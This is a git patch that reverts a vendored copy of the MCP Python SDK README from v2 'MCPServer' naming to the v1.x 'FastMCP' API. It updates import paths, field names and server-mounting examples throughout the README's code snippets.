From 3ea67041df475fa7618c825b5b9c41ab10daf5c8 Mon Sep 17 00:00:00 2001 From: Mark Garrison Date: Mon, 27 Apr 2026 09:25:55 -0600 Subject: [PATCH 1/3] new tooling ideas --- context/Python-MCP-SDK.md | 407 +- context/graph-mcp-tooling-ideas.md | 196 + context/llms-full.txt | 37153 ++++++++++++++++----------- uv.lock | 2 +- 4 files changed, 22735 insertions(+), 15023 deletions(-) create mode 100644 context/graph-mcp-tooling-ideas.md diff --git a/context/Python-MCP-SDK.md b/context/Python-MCP-SDK.md index 0f0468a..487d48b 100644 --- a/context/Python-MCP-SDK.md +++ b/context/Python-MCP-SDK.md @@ -13,12 +13,13 @@ -> [!IMPORTANT] -> **This is the `main` branch which contains v2 of the SDK (currently in development, pre-alpha).** -> -> We anticipate a stable v2 release in Q1 2026. Until then, **v1.x remains the recommended version** for production use. v1.x will continue to receive bug fixes and security updates for at least 6 months after v2 ships to give people time to upgrade. + + +> [!NOTE] +> **This README documents v1.x of the MCP Python SDK (the current stable release).** > -> For v1 documentation and code, see the [`v1.x` branch](https://github.com/modelcontextprotocol/python-sdk/tree/v1.x). +> For v1.x code and documentation, see the [`v1.x` branch](https://github.com/modelcontextprotocol/python-sdk/tree/v1.x). +> For the upcoming v2 documentation (pre-alpha, in development on `main`), see [`README.v2.md`](README.v2.md). ## Table of Contents @@ -45,7 +46,7 @@ - [Sampling](#sampling) - [Logging and Notifications](#logging-and-notifications) - [Authentication](#authentication) - - [MCPServer Properties](#mcpserver-properties) + - [FastMCP Properties](#fastmcp-properties) - [Session Properties and Methods](#session-properties-and-methods) - [Request Context Properties](#request-context-properties) - [Running Your Server](#running-your-server) @@ -134,18 +135,19 @@ uv run mcp Let's create a simple MCP server that exposes a calculator tool and some data: - + ```python -"""MCPServer quickstart example. +""" +FastMCP quickstart example. Run from the repository root: - uv run examples/snippets/servers/mcpserver_quickstart.py + uv run examples/snippets/servers/fastmcp_quickstart.py """ -from mcp.server.mcpserver import MCPServer +from mcp.server.fastmcp import FastMCP # Create an MCP server -mcp = MCPServer("Demo") +mcp = FastMCP("Demo", json_response=True) # Add an addition tool @@ -177,16 +179,16 @@ def greet_user(name: str, style: str = "friendly") -> str: # Run with streamable HTTP transport if __name__ == "__main__": - mcp.run(transport="streamable-http", json_response=True) + mcp.run(transport="streamable-http") ``` -_Full example: [examples/snippets/servers/mcpserver_quickstart.py](https://github.com/modelcontextprotocol/python-sdk/blob/main/examples/snippets/servers/mcpserver_quickstart.py)_ +_Full example: [examples/snippets/servers/fastmcp_quickstart.py](https://github.com/modelcontextprotocol/python-sdk/blob/main/examples/snippets/servers/fastmcp_quickstart.py)_ You can install this server in [Claude Code](https://docs.claude.com/en/docs/claude-code/mcp) and interact with it right away. First, run the server: ```bash -uv run --with mcp examples/snippets/servers/mcpserver_quickstart.py +uv run --with mcp examples/snippets/servers/fastmcp_quickstart.py ``` Then add it to Claude Code: @@ -216,7 +218,7 @@ The [Model Context Protocol (MCP)](https://modelcontextprotocol.io) lets you bui ### Server -The MCPServer server is your core interface to the MCP protocol. It handles connection management, protocol compliance, and message routing: +The FastMCP server is your core interface to the MCP protocol. It handles connection management, protocol compliance, and message routing: ```python @@ -226,7 +228,7 @@ from collections.abc import AsyncIterator from contextlib import asynccontextmanager from dataclasses import dataclass -from mcp.server.mcpserver import Context, MCPServer +from mcp.server.fastmcp import Context, FastMCP from mcp.server.session import ServerSession @@ -256,7 +258,7 @@ class AppContext: @asynccontextmanager -async def app_lifespan(server: MCPServer) -> AsyncIterator[AppContext]: +async def app_lifespan(server: FastMCP) -> AsyncIterator[AppContext]: """Manage application lifecycle with type-safe context.""" # Initialize on startup db = await Database.connect() @@ -268,7 +270,7 @@ async def app_lifespan(server: MCPServer) -> AsyncIterator[AppContext]: # Pass lifespan to server -mcp = MCPServer("My App", lifespan=app_lifespan) +mcp = FastMCP("My App", lifespan=app_lifespan) # Access type-safe lifespan context in tools @@ -288,9 +290,9 @@ Resources are how you expose data to LLMs. They're similar to GET endpoints in a ```python -from mcp.server.mcpserver import MCPServer +from mcp.server.fastmcp import FastMCP -mcp = MCPServer(name="Resource Example") +mcp = FastMCP(name="Resource Example") @mcp.resource("file://documents/{name}") @@ -319,9 +321,9 @@ Tools let LLMs take actions through your server. Unlike resources, tools are exp ```python -from mcp.server.mcpserver import MCPServer +from mcp.server.fastmcp import FastMCP -mcp = MCPServer(name="Tool Example") +mcp = FastMCP(name="Tool Example") @mcp.tool() @@ -340,14 +342,14 @@ def get_weather(city: str, unit: str = "celsius") -> str: _Full example: [examples/snippets/servers/basic_tool.py](https://github.com/modelcontextprotocol/python-sdk/blob/main/examples/snippets/servers/basic_tool.py)_ -Tools can optionally receive a Context object by including a parameter with the `Context` type annotation. This context is automatically injected by the MCPServer framework and provides access to MCP capabilities: +Tools can optionally receive a Context object by including a parameter with the `Context` type annotation. This context is automatically injected by the FastMCP framework and provides access to MCP capabilities: ```python -from mcp.server.mcpserver import Context, MCPServer +from mcp.server.fastmcp import Context, FastMCP from mcp.server.session import ServerSession -mcp = MCPServer(name="Progress Example") +mcp = FastMCP(name="Progress Example") @mcp.tool() @@ -395,7 +397,7 @@ validated data that clients can easily process. **Note:** For backward compatibility, unstructured results are also returned. Unstructured results are provided for backward compatibility with previous versions of the MCP specification, and are quirks-compatible -with previous versions of MCPServer in the current version of the SDK. +with previous versions of FastMCP in the current version of the SDK. **Note:** In cases where a tool function's return type annotation causes the tool to be classified as structured _and this is undesirable_, @@ -414,10 +416,10 @@ from typing import Annotated from pydantic import BaseModel -from mcp.server.mcpserver import MCPServer +from mcp.server.fastmcp import FastMCP from mcp.types import CallToolResult, TextContent -mcp = MCPServer("CallToolResult Example") +mcp = FastMCP("CallToolResult Example") class ValidationModel(BaseModel): @@ -441,7 +443,7 @@ def validated_tool() -> Annotated[CallToolResult, ValidationModel]: """Return CallToolResult with structured output validation.""" return CallToolResult( content=[TextContent(type="text", text="Validated response")], - structured_content={"status": "success", "data": {"result": 42}}, + structuredContent={"status": "success", "data": {"result": 42}}, _meta={"internal": "metadata"}, ) @@ -465,9 +467,9 @@ from typing import TypedDict from pydantic import BaseModel, Field -from mcp.server.mcpserver import MCPServer +from mcp.server.fastmcp import FastMCP -mcp = MCPServer("Structured Output Example") +mcp = FastMCP("Structured Output Example") # Using Pydantic models for rich structured data @@ -567,10 +569,10 @@ Prompts are reusable templates that help LLMs interact with your server effectiv ```python -from mcp.server.mcpserver import MCPServer -from mcp.server.mcpserver.prompts import base +from mcp.server.fastmcp import FastMCP +from mcp.server.fastmcp.prompts import base -mcp = MCPServer(name="Prompt Example") +mcp = FastMCP(name="Prompt Example") @mcp.prompt(title="Code Review") @@ -595,7 +597,7 @@ _Full example: [examples/snippets/servers/basic_prompt.py](https://github.com/mo MCP servers can provide icons for UI display. Icons can be added to the server implementation, tools, resources, and prompts: ```python -from mcp.server.mcpserver import MCPServer, Icon +from mcp.server.fastmcp import FastMCP, Icon # Create an icon from a file path or URL icon = Icon( @@ -605,7 +607,7 @@ icon = Icon( ) # Add icons to server -mcp = MCPServer( +mcp = FastMCP( "My Server", website_url="https://example.com", icons=[icon] @@ -623,21 +625,21 @@ def my_resource(): return "content" ``` -_Full example: [examples/mcpserver/icons_demo.py](https://github.com/modelcontextprotocol/python-sdk/blob/main/examples/mcpserver/icons_demo.py)_ +_Full example: [examples/fastmcp/icons_demo.py](https://github.com/modelcontextprotocol/python-sdk/blob/main/examples/fastmcp/icons_demo.py)_ ### Images -MCPServer provides an `Image` class that automatically handles image data: +FastMCP provides an `Image` class that automatically handles image data: ```python -"""Example showing image handling with MCPServer.""" +"""Example showing image handling with FastMCP.""" from PIL import Image as PILImage -from mcp.server.mcpserver import Image, MCPServer +from mcp.server.fastmcp import FastMCP, Image -mcp = MCPServer("Image Example") +mcp = FastMCP("Image Example") @mcp.tool() @@ -660,9 +662,9 @@ The Context object is automatically injected into tool and resource functions th To use context in a tool or resource function, add a parameter with the `Context` type annotation: ```python -from mcp.server.mcpserver import Context, MCPServer +from mcp.server.fastmcp import Context, FastMCP -mcp = MCPServer(name="Context Example") +mcp = FastMCP(name="Context Example") @mcp.tool() @@ -678,7 +680,7 @@ The Context object provides the following capabilities: - `ctx.request_id` - Unique ID for the current request - `ctx.client_id` - Client ID if available -- `ctx.mcp_server` - Access to the MCPServer server instance (see [MCPServer Properties](#mcpserver-properties)) +- `ctx.fastmcp` - Access to the FastMCP server instance (see [FastMCP Properties](#fastmcp-properties)) - `ctx.session` - Access to the underlying session for advanced communication (see [Session Properties and Methods](#session-properties-and-methods)) - `ctx.request_context` - Access to request-specific data and lifespan resources (see [Request Context Properties](#request-context-properties)) - `await ctx.debug(message)` - Send debug log message @@ -692,10 +694,10 @@ The Context object provides the following capabilities: ```python -from mcp.server.mcpserver import Context, MCPServer +from mcp.server.fastmcp import Context, FastMCP from mcp.server.session import ServerSession -mcp = MCPServer(name="Progress Example") +mcp = FastMCP(name="Progress Example") @mcp.tool() @@ -726,8 +728,9 @@ Client usage: ```python -"""cd to the `examples/snippets` directory and run: -uv run completion-client +""" +cd to the `examples/snippets` directory and run: + uv run completion-client """ import asyncio @@ -755,8 +758,8 @@ async def run(): # List available resource templates templates = await session.list_resource_templates() print("Available resource templates:") - for template in templates.resource_templates: - print(f" - {template.uri_template}") + for template in templates.resourceTemplates: + print(f" - {template.uriTemplate}") # List available prompts prompts = await session.list_prompts() @@ -765,20 +768,20 @@ async def run(): print(f" - {prompt.name}") # Complete resource template arguments - if templates.resource_templates: - template = templates.resource_templates[0] - print(f"\nCompleting arguments for resource template: {template.uri_template}") + if templates.resourceTemplates: + template = templates.resourceTemplates[0] + print(f"\nCompleting arguments for resource template: {template.uriTemplate}") # Complete without context result = await session.complete( - ref=ResourceTemplateReference(type="ref/resource", uri=template.uri_template), + ref=ResourceTemplateReference(type="ref/resource", uri=template.uriTemplate), argument={"name": "owner", "value": "model"}, ) print(f"Completions for 'owner' starting with 'model': {result.completion.values}") # Complete with context - repo suggestions based on owner result = await session.complete( - ref=ResourceTemplateReference(type="ref/resource", uri=template.uri_template), + ref=ResourceTemplateReference(type="ref/resource", uri=template.uriTemplate), argument={"name": "repo", "value": ""}, context_arguments={"owner": "modelcontextprotocol"}, ) @@ -824,12 +827,12 @@ import uuid from pydantic import BaseModel, Field -from mcp.server.mcpserver import Context, MCPServer +from mcp.server.fastmcp import Context, FastMCP from mcp.server.session import ServerSession from mcp.shared.exceptions import UrlElicitationRequiredError from mcp.types import ElicitRequestURLParams -mcp = MCPServer(name="Elicitation Example") +mcp = FastMCP(name="Elicitation Example") class BookingPreferences(BaseModel): @@ -908,7 +911,7 @@ async def connect_service(service_name: str, ctx: Context[ServerSession, None]) mode="url", message=f"Authorization required to connect to {service_name}", url=f"https://{service_name}.example.com/oauth/authorize?elicit={elicitation_id}", - elicitation_id=elicitation_id, + elicitationId=elicitation_id, ) ] ) @@ -931,11 +934,11 @@ Tools can interact with LLMs through sampling (generating text): ```python -from mcp.server.mcpserver import Context, MCPServer +from mcp.server.fastmcp import Context, FastMCP from mcp.server.session import ServerSession from mcp.types import SamplingMessage, TextContent -mcp = MCPServer(name="Sampling Example") +mcp = FastMCP(name="Sampling Example") @mcp.tool() @@ -968,10 +971,10 @@ Tools can send logs and notifications through the context: ```python -from mcp.server.mcpserver import Context, MCPServer +from mcp.server.fastmcp import Context, FastMCP from mcp.server.session import ServerSession -mcp = MCPServer(name="Notifications Example") +mcp = FastMCP(name="Notifications Example") @mcp.tool() @@ -1002,15 +1005,16 @@ MCP servers can use authentication by providing an implementation of the `TokenV ```python -"""Run from the repository root: -uv run examples/snippets/servers/oauth_server.py +""" +Run from the repository root: + uv run examples/snippets/servers/oauth_server.py """ from pydantic import AnyHttpUrl from mcp.server.auth.provider import AccessToken, TokenVerifier from mcp.server.auth.settings import AuthSettings -from mcp.server.mcpserver import MCPServer +from mcp.server.fastmcp import FastMCP class SimpleTokenVerifier(TokenVerifier): @@ -1020,9 +1024,10 @@ class SimpleTokenVerifier(TokenVerifier): pass # This is where you would implement actual token validation -# Create MCPServer instance as a Resource Server -mcp = MCPServer( +# Create FastMCP instance as a Resource Server +mcp = FastMCP( "Weather Service", + json_response=True, # Token verifier for authentication token_verifier=SimpleTokenVerifier(), # Auth settings for RFC 9728 Protected Resource Metadata @@ -1046,7 +1051,7 @@ async def get_weather(city: str = "London") -> dict[str, str]: if __name__ == "__main__": - mcp.run(transport="streamable-http", json_response=True) + mcp.run(transport="streamable-http") ``` _Full example: [examples/snippets/servers/oauth_server.py](https://github.com/modelcontextprotocol/python-sdk/blob/main/examples/snippets/servers/oauth_server.py)_ @@ -1062,19 +1067,19 @@ For a complete example with separate Authorization Server and Resource Server im See [TokenVerifier](src/mcp/server/auth/provider.py) for more details on implementing token validation. -### MCPServer Properties +### FastMCP Properties -The MCPServer server instance accessible via `ctx.mcp_server` provides access to server configuration and metadata: +The FastMCP server instance accessible via `ctx.fastmcp` provides access to server configuration and metadata: -- `ctx.mcp_server.name` - The server's name as defined during initialization -- `ctx.mcp_server.instructions` - Server instructions/description provided to clients -- `ctx.mcp_server.website_url` - Optional website URL for the server -- `ctx.mcp_server.icons` - Optional list of icons for UI display -- `ctx.mcp_server.settings` - Complete server configuration object containing: +- `ctx.fastmcp.name` - The server's name as defined during initialization +- `ctx.fastmcp.instructions` - Server instructions/description provided to clients +- `ctx.fastmcp.website_url` - Optional website URL for the server +- `ctx.fastmcp.icons` - Optional list of icons for UI display +- `ctx.fastmcp.settings` - Complete server configuration object containing: - `debug` - Debug mode flag - `log_level` - Current logging level - `host` and `port` - Server network configuration - - `sse_path`, `streamable_http_path` - Transport paths + - `mount_path`, `sse_path`, `streamable_http_path` - Transport paths - `stateless_http` - Whether the server operates in stateless mode - And other configuration options @@ -1083,12 +1088,12 @@ The MCPServer server instance accessible via `ctx.mcp_server` provides access to def server_info(ctx: Context) -> dict: """Get information about the current server.""" return { - "name": ctx.mcp_server.name, - "instructions": ctx.mcp_server.instructions, - "debug_mode": ctx.mcp_server.settings.debug, - "log_level": ctx.mcp_server.settings.log_level, - "host": ctx.mcp_server.settings.host, - "port": ctx.mcp_server.settings.port, + "name": ctx.fastmcp.name, + "instructions": ctx.fastmcp.instructions, + "debug_mode": ctx.fastmcp.settings.debug, + "log_level": ctx.fastmcp.settings.log_level, + "host": ctx.fastmcp.settings.host, + "port": ctx.fastmcp.settings.port, } ``` @@ -1203,9 +1208,9 @@ cd to the `examples/snippets` directory and run: python servers/direct_execution.py """ -from mcp.server.mcpserver import MCPServer +from mcp.server.fastmcp import FastMCP -mcp = MCPServer("My App") +mcp = FastMCP("My App") @mcp.tool() @@ -1234,7 +1239,7 @@ python servers/direct_execution.py uv run mcp run servers/direct_execution.py ``` -Note that `uv run mcp run` or `uv run mcp dev` only supports server using MCPServer and not the low-level server variant. +Note that `uv run mcp run` or `uv run mcp dev` only supports server using FastMCP and not the low-level server variant. ### Streamable HTTP Transport @@ -1242,13 +1247,22 @@ Note that `uv run mcp run` or `uv run mcp dev` only supports server using MCPSer ```python -"""Run from the repository root: -uv run examples/snippets/servers/streamable_config.py """ +Run from the repository root: + uv run examples/snippets/servers/streamable_config.py +""" + +from mcp.server.fastmcp import FastMCP -from mcp.server.mcpserver import MCPServer +# Stateless server with JSON responses (recommended) +mcp = FastMCP("StatelessServer", stateless_http=True, json_response=True) -mcp = MCPServer("StatelessServer") +# Other configuration options: +# Stateless server with SSE streaming responses +# mcp = FastMCP("StatelessServer", stateless_http=True) + +# Stateful server with session persistence +# mcp = FastMCP("StatefulServer") # Add a simple tool to demonstrate the server @@ -1259,28 +1273,20 @@ def greet(name: str = "World") -> str: # Run server with streamable_http transport -# Transport-specific options (stateless_http, json_response) are passed to run() if __name__ == "__main__": - # Stateless server with JSON responses (recommended) - mcp.run(transport="streamable-http", stateless_http=True, json_response=True) - - # Other configuration options: - # Stateless server with SSE streaming responses - # mcp.run(transport="streamable-http", stateless_http=True) - - # Stateful server with session persistence - # mcp.run(transport="streamable-http") + mcp.run(transport="streamable-http") ``` _Full example: [examples/snippets/servers/streamable_config.py](https://github.com/modelcontextprotocol/python-sdk/blob/main/examples/snippets/servers/streamable_config.py)_ -You can mount multiple MCPServer servers in a Starlette application: +You can mount multiple FastMCP servers in a Starlette application: ```python -"""Run from the repository root: -uvicorn examples.snippets.servers.streamable_starlette_mount:app --reload +""" +Run from the repository root: + uvicorn examples.snippets.servers.streamable_starlette_mount:app --reload """ import contextlib @@ -1288,10 +1294,10 @@ import contextlib from starlette.applications import Starlette from starlette.routing import Mount -from mcp.server.mcpserver import MCPServer +from mcp.server.fastmcp import FastMCP # Create the Echo server -echo_mcp = MCPServer(name="EchoServer") +echo_mcp = FastMCP(name="EchoServer", stateless_http=True, json_response=True) @echo_mcp.tool() @@ -1301,7 +1307,7 @@ def echo(message: str) -> str: # Create the Math server -math_mcp = MCPServer(name="MathServer") +math_mcp = FastMCP(name="MathServer", stateless_http=True, json_response=True) @math_mcp.tool() @@ -1322,16 +1328,16 @@ async def lifespan(app: Starlette): # Create the Starlette app and mount the MCP servers app = Starlette( routes=[ - Mount("/echo", echo_mcp.streamable_http_app(stateless_http=True, json_response=True)), - Mount("/math", math_mcp.streamable_http_app(stateless_http=True, json_response=True)), + Mount("/echo", echo_mcp.streamable_http_app()), + Mount("/math", math_mcp.streamable_http_app()), ], lifespan=lifespan, ) # Note: Clients connect to http://localhost:8000/echo/mcp and http://localhost:8000/math/mcp # To mount at the root of each path (e.g., /echo instead of /echo/mcp): -# echo_mcp.streamable_http_app(streamable_http_path="/", stateless_http=True, json_response=True) -# math_mcp.streamable_http_app(streamable_http_path="/", stateless_http=True, json_response=True) +# echo_mcp.settings.streamable_http_path = "/" +# math_mcp.settings.streamable_http_path = "/" ``` _Full example: [examples/snippets/servers/streamable_starlette_mount.py](https://github.com/modelcontextprotocol/python-sdk/blob/main/examples/snippets/servers/streamable_starlette_mount.py)_ @@ -1389,7 +1395,8 @@ You can mount the StreamableHTTP server to an existing ASGI server using the `st ```python -"""Basic example showing how to mount StreamableHTTP server in Starlette. +""" +Basic example showing how to mount StreamableHTTP server in Starlette. Run from the repository root: uvicorn examples.snippets.servers.streamable_http_basic_mounting:app --reload @@ -1400,10 +1407,10 @@ import contextlib from starlette.applications import Starlette from starlette.routing import Mount -from mcp.server.mcpserver import MCPServer +from mcp.server.fastmcp import FastMCP # Create MCP server -mcp = MCPServer("My App") +mcp = FastMCP("My App", json_response=True) @mcp.tool() @@ -1420,10 +1427,9 @@ async def lifespan(app: Starlette): # Mount the StreamableHTTP server to the existing ASGI server -# Transport-specific options are passed to streamable_http_app() app = Starlette( routes=[ - Mount("/", app=mcp.streamable_http_app(json_response=True)), + Mount("/", app=mcp.streamable_http_app()), ], lifespan=lifespan, ) @@ -1436,7 +1442,8 @@ _Full example: [examples/snippets/servers/streamable_http_basic_mounting.py](htt ```python -"""Example showing how to mount StreamableHTTP server using Host-based routing. +""" +Example showing how to mount StreamableHTTP server using Host-based routing. Run from the repository root: uvicorn examples.snippets.servers.streamable_http_host_mounting:app --reload @@ -1447,10 +1454,10 @@ import contextlib from starlette.applications import Starlette from starlette.routing import Host -from mcp.server.mcpserver import MCPServer +from mcp.server.fastmcp import FastMCP # Create MCP server -mcp = MCPServer("MCP Host App") +mcp = FastMCP("MCP Host App", json_response=True) @mcp.tool() @@ -1467,10 +1474,9 @@ async def lifespan(app: Starlette): # Mount using Host-based routing -# Transport-specific options are passed to streamable_http_app() app = Starlette( routes=[ - Host("mcp.acme.corp", app=mcp.streamable_http_app(json_response=True)), + Host("mcp.acme.corp", app=mcp.streamable_http_app()), ], lifespan=lifespan, ) @@ -1483,7 +1489,8 @@ _Full example: [examples/snippets/servers/streamable_http_host_mounting.py](http ```python -"""Example showing how to mount multiple StreamableHTTP servers with path configuration. +""" +Example showing how to mount multiple StreamableHTTP servers with path configuration. Run from the repository root: uvicorn examples.snippets.servers.streamable_http_multiple_servers:app --reload @@ -1494,11 +1501,11 @@ import contextlib from starlette.applications import Starlette from starlette.routing import Mount -from mcp.server.mcpserver import MCPServer +from mcp.server.fastmcp import FastMCP # Create multiple MCP servers -api_mcp = MCPServer("API Server") -chat_mcp = MCPServer("Chat Server") +api_mcp = FastMCP("API Server", json_response=True) +chat_mcp = FastMCP("Chat Server", json_response=True) @api_mcp.tool() @@ -1513,6 +1520,12 @@ def send_message(message: str) -> str: return f"Message sent: {message}" +# Configure servers to mount at the root of each path +# This means endpoints will be at /api and /chat instead of /api/mcp and /chat/mcp +api_mcp.settings.streamable_http_path = "/" +chat_mcp.settings.streamable_http_path = "/" + + # Create a combined lifespan to manage both session managers @contextlib.asynccontextmanager async def lifespan(app: Starlette): @@ -1522,12 +1535,11 @@ async def lifespan(app: Starlette): yield -# Mount the servers with transport-specific options passed to streamable_http_app() -# streamable_http_path="/" means endpoints will be at /api and /chat instead of /api/mcp and /chat/mcp +# Mount the servers app = Starlette( routes=[ - Mount("/api", app=api_mcp.streamable_http_app(json_response=True, streamable_http_path="/")), - Mount("/chat", app=chat_mcp.streamable_http_app(json_response=True, streamable_http_path="/")), + Mount("/api", app=api_mcp.streamable_http_app()), + Mount("/chat", app=chat_mcp.streamable_http_app()), ], lifespan=lifespan, ) @@ -1540,7 +1552,8 @@ _Full example: [examples/snippets/servers/streamable_http_multiple_servers.py](h ```python -"""Example showing path configuration when mounting MCPServer. +""" +Example showing path configuration during FastMCP initialization. Run from the repository root: uvicorn examples.snippets.servers.streamable_http_path_config:app --reload @@ -1549,10 +1562,15 @@ Run from the repository root: from starlette.applications import Starlette from starlette.routing import Mount -from mcp.server.mcpserver import MCPServer +from mcp.server.fastmcp import FastMCP -# Create a simple MCPServer server -mcp_at_root = MCPServer("My Server") +# Configure streamable_http_path during initialization +# This server will mount at the root of wherever it's mounted +mcp_at_root = FastMCP( + "My Server", + json_response=True, + streamable_http_path="/", +) @mcp_at_root.tool() @@ -1561,14 +1579,10 @@ def process_data(data: str) -> str: return f"Processed: {data}" -# Mount at /process with streamable_http_path="/" so the endpoint is /process (not /process/mcp) -# Transport-specific options like json_response are passed to streamable_http_app() +# Mount at /process - endpoints will be at /process instead of /process/mcp app = Starlette( routes=[ - Mount( - "/process", - app=mcp_at_root.streamable_http_app(json_response=True, streamable_http_path="/"), - ), + Mount("/process", app=mcp_at_root.streamable_http_app()), ] ) ``` @@ -1585,10 +1599,10 @@ You can mount the SSE server to an existing ASGI server using the `sse_app` meth ```python from starlette.applications import Starlette from starlette.routing import Mount, Host -from mcp.server.mcpserver import MCPServer +from mcp.server.fastmcp import FastMCP -mcp = MCPServer("My App") +mcp = FastMCP("My App") # Mount the SSE server to the existing ASGI server app = Starlette( @@ -1601,28 +1615,41 @@ app = Starlette( app.router.routes.append(Host('mcp.acme.corp', app=mcp.sse_app())) ``` -You can also mount multiple MCP servers at different sub-paths. The SSE transport automatically detects the mount path via ASGI's `root_path` mechanism, so message endpoints are correctly routed: +When mounting multiple MCP servers under different paths, you can configure the mount path in several ways: ```python from starlette.applications import Starlette from starlette.routing import Mount -from mcp.server.mcpserver import MCPServer +from mcp.server.fastmcp import FastMCP # Create multiple MCP servers -github_mcp = MCPServer("GitHub API") -browser_mcp = MCPServer("Browser") -search_mcp = MCPServer("Search") +github_mcp = FastMCP("GitHub API") +browser_mcp = FastMCP("Browser") +curl_mcp = FastMCP("Curl") +search_mcp = FastMCP("Search") + +# Method 1: Configure mount paths via settings (recommended for persistent configuration) +github_mcp.settings.mount_path = "/github" +browser_mcp.settings.mount_path = "/browser" -# Mount each server at its own sub-path -# The SSE transport automatically uses ASGI's root_path to construct -# the correct message endpoint (e.g., /github/messages/, /browser/messages/) +# Method 2: Pass mount path directly to sse_app (preferred for ad-hoc mounting) +# This approach doesn't modify the server's settings permanently + +# Create Starlette app with multiple mounted servers app = Starlette( routes=[ + # Using settings-based configuration Mount("/github", app=github_mcp.sse_app()), Mount("/browser", app=browser_mcp.sse_app()), - Mount("/search", app=search_mcp.sse_app()), + # Using direct mount path parameter + Mount("/curl", app=curl_mcp.sse_app("/curl")), + Mount("/search", app=search_mcp.sse_app("/search")), ] ) + +# Method 3: For direct execution, you can also pass the mount path to run() +if __name__ == "__main__": + search_mcp.run(transport="sse", mount_path="/search") ``` For more information on mounting applications in Starlette, see the [Starlette documentation](https://www.starlette.io/routing/#submounting-routes). @@ -1635,8 +1662,9 @@ For more control, you can use the low-level server implementation directly. This ```python -"""Run from the repository root: -uv run examples/snippets/servers/lowlevel/lifespan.py +""" +Run from the repository root: + uv run examples/snippets/servers/lowlevel/lifespan.py """ from collections.abc import AsyncIterator @@ -1692,7 +1720,7 @@ async def handle_list_tools() -> list[types.Tool]: types.Tool( name="query_db", description="Query the database", - input_schema={ + inputSchema={ "type": "object", "properties": {"query": {"type": "string", "description": "SQL query to execute"}}, "required": ["query"], @@ -1751,7 +1779,8 @@ The lifespan API provides: ```python -"""Run from the repository root: +""" +Run from the repository root: uv run examples/snippets/servers/lowlevel/basic.py """ @@ -1829,8 +1858,9 @@ The low-level server supports structured output for tools, allowing you to retur ```python -"""Run from the repository root: -uv run examples/snippets/servers/lowlevel/structured_output.py +""" +Run from the repository root: + uv run examples/snippets/servers/lowlevel/structured_output.py """ import asyncio @@ -1851,12 +1881,12 @@ async def list_tools() -> list[types.Tool]: types.Tool( name="get_weather", description="Get current weather for a city", - input_schema={ + inputSchema={ "type": "object", "properties": {"city": {"type": "string", "description": "City name"}}, "required": ["city"], }, - output_schema={ + outputSchema={ "type": "object", "properties": { "temperature": {"type": "number", "description": "Temperature in Celsius"}, @@ -1931,8 +1961,9 @@ For full control over the response including the `_meta` field (for passing data ```python -"""Run from the repository root: -uv run examples/snippets/servers/lowlevel/direct_call_tool_result.py +""" +Run from the repository root: + uv run examples/snippets/servers/lowlevel/direct_call_tool_result.py """ import asyncio @@ -1953,7 +1984,7 @@ async def list_tools() -> list[types.Tool]: types.Tool( name="advanced_tool", description="Tool with full control including _meta field", - input_schema={ + inputSchema={ "type": "object", "properties": {"message": {"type": "string"}}, "required": ["message"], @@ -1969,7 +2000,7 @@ async def handle_call_tool(name: str, arguments: dict[str, Any]) -> types.CallTo message = str(arguments.get("message", "")) return types.CallToolResult( content=[types.TextContent(type="text", text=f"Processed: {message}")], - structured_content={"result": "success", "message": message}, + structuredContent={"result": "success", "message": message}, _meta={"hidden": "data for client applications only"}, ) @@ -2010,7 +2041,11 @@ For servers that need to handle large datasets, the low-level server provides pa ```python -"""Example of implementing pagination with MCP server decorators.""" +""" +Example of implementing pagination with MCP server decorators. +""" + +from pydantic import AnyUrl import mcp.types as types from mcp.server.lowlevel import Server @@ -2036,14 +2071,14 @@ async def list_resources_paginated(request: types.ListResourcesRequest) -> types # Get page of resources page_items = [ - types.Resource(uri=f"resource://items/{item}", name=item, description=f"Description for {item}") + types.Resource(uri=AnyUrl(f"resource://items/{item}"), name=item, description=f"Description for {item}") for item in ITEMS[start:end] ] # Determine next cursor next_cursor = str(end) if end < len(ITEMS) else None - return types.ListResourcesResult(resources=page_items, next_cursor=next_cursor) + return types.ListResourcesResult(resources=page_items, nextCursor=next_cursor) ``` _Full example: [examples/snippets/servers/pagination_example.py](https://github.com/modelcontextprotocol/python-sdk/blob/main/examples/snippets/servers/pagination_example.py)_ @@ -2053,7 +2088,9 @@ _Full example: [examples/snippets/servers/pagination_example.py](https://github. ```python -"""Example of consuming paginated MCP endpoints from a client.""" +""" +Example of consuming paginated MCP endpoints from a client. +""" import asyncio @@ -2082,8 +2119,8 @@ async def list_all_resources() -> None: print(f"Fetched {len(result.resources)} resources") # Check if there are more pages - if result.next_cursor: - cursor = result.next_cursor + if result.nextCursor: + cursor = result.nextCursor else: break @@ -2112,13 +2149,16 @@ The SDK provides a high-level client interface for connecting to MCP servers usi ```python -"""cd to the `examples/snippets/clients` directory and run: -uv run client +""" +cd to the `examples/snippets/clients` directory and run: + uv run client """ import asyncio import os +from pydantic import AnyUrl + from mcp import ClientSession, StdioServerParameters, types from mcp.client.stdio import stdio_client from mcp.shared.context import RequestContext @@ -2126,7 +2166,7 @@ from mcp.shared.context import RequestContext # Create server parameters for stdio connection server_params = StdioServerParameters( command="uv", # Using uv to run the server - args=["run", "server", "mcpserver_quickstart", "stdio"], # We're already in snippets dir + args=["run", "server", "fastmcp_quickstart", "stdio"], # We're already in snippets dir env={"UV_INDEX": os.environ.get("UV_INDEX", "")}, ) @@ -2143,7 +2183,7 @@ async def handle_sampling_message( text="Hello, world! from model", ), model="gpt-3.5-turbo", - stop_reason="endTurn", + stopReason="endTurn", ) @@ -2157,7 +2197,7 @@ async def run(): prompts = await session.list_prompts() print(f"Available prompts: {[p.name for p in prompts.prompts]}") - # Get a prompt (greet_user prompt from mcpserver_quickstart) + # Get a prompt (greet_user prompt from fastmcp_quickstart) if prompts.prompts: prompt = await session.get_prompt("greet_user", arguments={"name": "Alice", "style": "friendly"}) print(f"Prompt result: {prompt.messages[0].content}") @@ -2170,18 +2210,18 @@ async def run(): tools = await session.list_tools() print(f"Available tools: {[t.name for t in tools.tools]}") - # Read a resource (greeting resource from mcpserver_quickstart) - resource_content = await session.read_resource("greeting://World") + # Read a resource (greeting resource from fastmcp_quickstart) + resource_content = await session.read_resource(AnyUrl("greeting://World")) content_block = resource_content.contents[0] if isinstance(content_block, types.TextContent): print(f"Resource content: {content_block.text}") - # Call a tool (add tool from mcpserver_quickstart) + # Call a tool (add tool from fastmcp_quickstart) result = await session.call_tool("add", arguments={"a": 5, "b": 3}) result_unstructured = result.content[0] if isinstance(result_unstructured, types.TextContent): print(f"Tool result: {result_unstructured.text}") - result_structured = result.structured_content + result_structured = result.structuredContent 